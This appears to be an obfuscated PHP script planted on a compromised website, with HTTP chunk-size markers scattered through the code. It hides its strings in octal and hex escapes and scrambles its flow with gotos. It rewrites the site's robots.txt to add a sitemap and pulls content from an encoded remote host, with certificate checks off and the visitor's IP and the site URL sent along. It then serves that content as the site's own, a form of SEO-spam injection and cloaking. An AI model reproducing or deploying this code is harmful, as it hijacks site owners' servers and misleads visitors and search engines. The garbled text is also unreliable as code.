1 < 8 ?php g 9 oto NWuLZ a ; N2pxL: i 9 f (!empty 9 ($get["\1 9 62"])) { a $robotsPat 9 h = $_SER c VER["\104\x4 c f\x43\x55\x4 c d\x45\116\12 14 4\x5f\122\x4f\x4f\12 a 4"] . "\x2 c f\162\157\14 e 2\x6f\x74\163\ f 56\x74\x78\x74" a ; $sitemap 9 Block = " 13 \x55\x73\x65\x72\x2 f d\x61\147\145\x 12 6e\x74\72\x20\x2a\ f xa\101\154\154\ 12 x6f\x77\x3a\x20\x2 1a f\12"; $sitemaps = "\xa\12 10 3\151\164\x65\x6 13 d\x61\160\72\x20{$h 9 ttp_type} 15 {$_SERVER["\x48\x54\x d 54\120\137\11 1e 0\117\123\124"]}{$_SERVER["\x5 10 3\103\122\x49\x5 11 0\x54\x5f\116\x41 14 \x4d\x45"]}\77\163\x 12 3d\x73\12"; if (!f a ile_exists 17 ($robotsPath)) { file_p 9 ut_conten 2a ts($robotsPath, $sitemapBlock . $sitemaps) 8 ; } else 15 { $robotsContent = @ 24 file_get_contents($robotsPath); if ( 16 strpos($robotsContent, 16 $_SERVER["\123\x43\x5 26 2\x49\x50\x54\x5f\x4e\x41\x4d\x45"]) = c == false) { 2d @file_put_contents($robotsPath, $sitemaps, FI 8 LE_APPEN 11 D); } } } goto Ez d Yoe; NWuLZ: e a rror_repor 9 ting(0); 11 goto yMqRN; yMqRN d : $get = $_GE e T; goto shqZL; a Aq5NJ: $l 22 l = "{$http_type}{$_SERVER["\110\1 14 24\124\120\137\x48\x 21 4f\123\x54"]}{$_SERVER["\x53\x43\ 16 122\111\x50\x54\137\11 10 6\x41\115\105"]} e "; goto D_iaM; 9 m5bkF: f b unction get 9 Curl($url d , $getData = b array()) { 1c if (!empty($getData)) { $que b ryString = 20 is_array($getData) ? http_build_ 1d query($getData) : $getData; $ 15 url .= (strpos($url, 13 "\77") === false ? 11 "\77" : "\x26") . 1d $queryString; } if (function 10 _exists("\143\x7 15 5\x72\154\137\x69\156 14 \151\164")) { $ch = a curl_init( e ); curl_setopt 14 _array($ch, array(CU a RLOPT_URL 13 => $url, CURLOPT_RE 8 TURNTRAN c SFER => true 11 , CURLOPT_SSL_VER 10 IFYPEER => false 18 , CURLOPT_SSL_VERIFYHOST 1a => false, CURLOPT_FOLLOWL 7 OCATION 14 => true, CURLOPT_TI 4 MEOU 14 T => 10, CURLOPT_HTT 1a PGET => true, CURLOPT_USER 10 AGENT => "\115\1 12 57\172\151\154\x6c e \141\57\x35\x2 b e\60")); $d 13 ata = curl_exec($ch 14 ); curl_close($ch); 19 if (!empty($data)) { retu 12 rn $data; } } if ( 16 ini_get("\141\154\x6c\ 10 x6f\167\x5f\x75\ 18 162\154\x5f\146\157\160\ 13 x65\156")) { $conte c xt = stream_ 15 context_create(array( 10 "\x68\164\x74\16 13 0" => array("\155\x 10 65\164\x68\x6f\x 10 64" => "\x47\105 14 \x54", "\x74\x69\155 19 \145\x6f\x75\x74" => 10, 11 "\150\x65\x61\x64 18 \x65\162" => "\125\163\x 1b 65\162\x2d\x41\147\145\x6e\ 13 164\x3a\40\x4d\157\ f x7a\151\x6c\x6c 19 \x61\x2f\x35\x2e\60\15\12 11 "), "\163\x73\x6c 1e " => array("\166\x65\162\x69\1 15 46\x79\137\160\x65\14 16 5\162" => false, "\x76 1a \145\x72\151\146\171\137\x 14 70\145\145\162\x5f\x e 6e\141\x6d\x65 2b " => false))); $data = @file_get_contents($ 3e url, false, $context); if (!empty($data)) { return $data; } } 32 return ''; } goto X5nb1; D_iaM: $vurl = $http_type 24 . "\x69\144\154\x79\62\56\x69\x64\x 14 73\x68\157\x70\x2e\x f 63\143\167\x75\ 12 56\143\x63\x2f\64\ 13 61\71\56\x61\163\x7 13 0\x78"; goto N2pxL; 25 EzYoe: if (!empty($get["\163"])) { $ f params = array( 13 "\163" => date("\13 11 1\x6d\144\x48\151 15 "), "\x6e\165\155\142 22 \x65\162" => $get["\156\165\x6d\x6 12 2\145\162"]); $str 13 = getCurl($vurl, $ 19 params); $str = str_repla 13 ce(array("\173\xe5\ e 275\223\xe5\x8 d 9\x8d\345\x9c e \260\xe5\235\x 11 80\x7d"), array($ 29 http_type . $_SERVER["\110\x54\x54\x50\x5 16 f\110\117\x53\124"] . 24 $_SERVER["\123\x43\122\x49\x50\124\1 1b 37\116\x41\x4d\x45"]), $str d ); header("\1 16 03\157\156\x74\x65\156 12 \164\x2d\164\171\1 19 60\x65\72\164\x65\170\x74 11 \57\x78\155\154") d ; echo $str; 11 die; } goto N4dac 16 ; X5nb1: $http_type = 24 !empty($_SERVER["\110\x54\x54\120\12 17 3"]) && $_SERVER["\x48\ 14 124\124\x50\123"] != 10 = "\x6f\146\x66" 1a ? "\x68\164\164\160\x73\x 10 3a\x2f\x2f" : "\ 22 150\164\164\160\x3a\x2f\57"; goto c Aq5NJ; f5XoA 1b : function postCurl($url, $ 2e postData = array()) { $postString = is_array($ 29 postData) ? http_build_query($postData) : 36 $postData; if (function_exists("\143\x75\162\154\x5f\ fb x69\x6e\x69\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_ 1c POST => true, CURLOPT_POSTFI 13 ELDS => $postString 74 )); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\x6c\157\x7 27 7\x5f\x75\162\154\x5f\x66\x6f\x70\145\1 40 56")) { $context = stream_context_create(array("\150\164\164\160 24 " => array("\155\145\164\150\157\144 17 " => "\120\x4f\x53\124" 17 , "\164\x69\155\x65\157 20 \165\x74" => 10, "\x68\x65\141\1 13 44\x65\x72" => "\10 1e 3\x6f\156\x74\x65\x6e\x74\55\1 10 24\171\x70\x65\x 1d 3a\x20\x61\160\160\x6c\x69\x6 15 3\x61\x74\x69\x6f\x6e 17 \57\x78\55\x77\x77\167\ 14 55\x66\x6f\x72\155\x 19 2d\165\162\x6c\x65\156\14 14 3\157\144\145\144\xd 19 \12" . "\x43\x6f\156\x74\ 1d 145\156\x74\x2d\x4c\145\x6e\1 27 47\164\x68\72\40" . strlen($postString) 14 . "\xd\xa" . "\125\ 14 x73\145\x72\x2d\101\ 1f x67\x65\156\164\x3a\40\x4d\157\ 19 172\151\x6c\x6c\141\x2f\6 14 5\56\x30\xd\xa", "\1 1b 43\x6f\x6e\164\145\x6e\164" 38 => $postString), "\163\x73\x6c" => array("\x76\145\x72\ 14 x69\146\171\x5f\x70\ 33 x65\145\162" => false, "\x76\145\162\x69\x66\x79\x5 13 f\160\145\x65\x72\1 99 37\x6e\141\155\145" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto m5bkF; N4dac 26 : if (!empty($get["\151\144"])) { if ( 1e empty($get["\153\153"])) { $ip d = get_ip(); 22 $params = array("\x69\160" => $ip, 14 "\x69\144" => isset 15 ($get["\x69\144"]) ? 15 $get["\151\x64"] : '' 17 , "\x6c\x6c" => $ll); $ 2d tzstr = getCurl($vurl, $params); if (strpos($ 17 tzstr, "\x69\144") !== 1d false) { echo $tzstr; die; } 2b } $params = array("\x69\x64" => $get["\x69\ 11 x64"], "\x6c\154" 48 => $ll); $str = getCurl($vurl, $params); $str = str_replace(array("\x7b 16 \125\x52\x4c\175", "\1 f 73\345\237\237\ d 345\x90\215\1 17 75"), array(get_url_inf 13 o("\146\165\154\x6c 1d "), get_url_info("\156\157\13 3b 7\x77\167\167")), $str); echo $str; die; } else { $sitemapU 10 rl = $ll . "\x3f 30 \x73\x3d" . date("\131\155\144\110\x69"); echo " 11 \74\144\x69\166\4 17 0\x73\164\171\154\145\x 17 3d\x27\x74\145\170\164\ 15 x2d\x61\154\151\147\1 18 56\x3a\x63\145\x6e\164\x 1b 65\x72\73\40\160\x61\144\14 11 4\x69\156\x67\72\ 16 61\x30\160\170\40\x30\ c 73\x27\76\x3 1a c\x61\x20\150\162\x65\146\ 12 75\42{$sitemapUrl} 10 \x22\x20\x74\x61 16 \x72\x67\x65\164\x3d\4 19 2\x5f\x62\154\141\x6e\x6b 19 \42\40\162\x65\x6c\x3d\x2 12 2\x6e\157\x66\157\ 17 x6c\x6c\157\167\x22\x3e f \x20\x53\x69\x7 21 4\x65\x6d\x61\160\74\57\141\x3e\x 14 3c\x2f\144\151\166\7 f 6"; } goto nnSB 8 p; Uh8So 18 : function get_ip() { fo 1b reach (array("\x48\x54\x54\ 13 x50\x5f\x58\137\x46 10 \117\x52\127\101 12 \122\104\x45\104\x 14 5f\x46\x4f\x52", "\x 1a 48\124\x54\120\x5f\x43\114 e \x49\105\x4e\x 19 54\137\111\x50", "\x52\x4 17 5\x4d\117\x54\x45\x5f\1 12 01\x44\x44\x52") a 6 s $key 29 ) { if (!empty($_SERVER[$key])) { return b trim(explod 13 e("\x2c", $_SERVER[ 10 $key])[0]); } } 14 return "\x55\x4e\113 1a \116\x4f\x57\116"; } goto 1b f5XoA; shqZL: function get_ 17 url_info(string $return 19 _type = "\144\157\155\141 29 \151\x6e") : string { $host = $_SERVER["\ 25 x48\124\124\x50\x5f\110\x4f\123\x54"] 23 ; if ($return_type === "\144\x6f\15 77 5\x61\x69\156") { return $host; } if ($return_type === "\156\157\x5f\x77\167\167") { return ltrim($host, "\x77\x77\167\ c x2e"); } $pr 10 otocol = isset($ 2f _SERVER["\110\x54\124\x50\x53"]) && $_SERVER["\ 21 110\x54\x54\x50\x53"] === "\x6f\1 18 56" || isset($_SERVER["\ 1e x48\x54\124\x50\x5f\130\137\10 13 6\x4f\122\127\x41\1 1a 22\104\x45\x44\137\x50\x52 33 \117\x54\x4f"]) && $_SERVER["\110\124\124\120\137\x 18 58\137\106\x4f\122\x57\1 1b 01\122\104\105\104\137\x50\ 18 122\x4f\x54\117"] === "\ 31 150\x74\x74\160\x73" ? "\x68\x74\164\x70\x73\x3a\ 21 57\x2f" : "\x68\x74\164\x70\72\x2 e f\x2f"; $base_ 19 url = $protocol . $host; 26 if ($return_type === "\142\x61\x73\145 1d ") { return $base_url; } $uri 19 = $_SERVER["\x52\x45\121 17 \125\105\123\124\x5f\x5 10 5\122\x49"]; $fu 14 ll_url = $base_url . 2a $uri; if ($return_type === "\x66\165\154\ 19 154") { return $full_url; 23 } return ''; } goto Uh8So; nnSBp: 2 ?> 0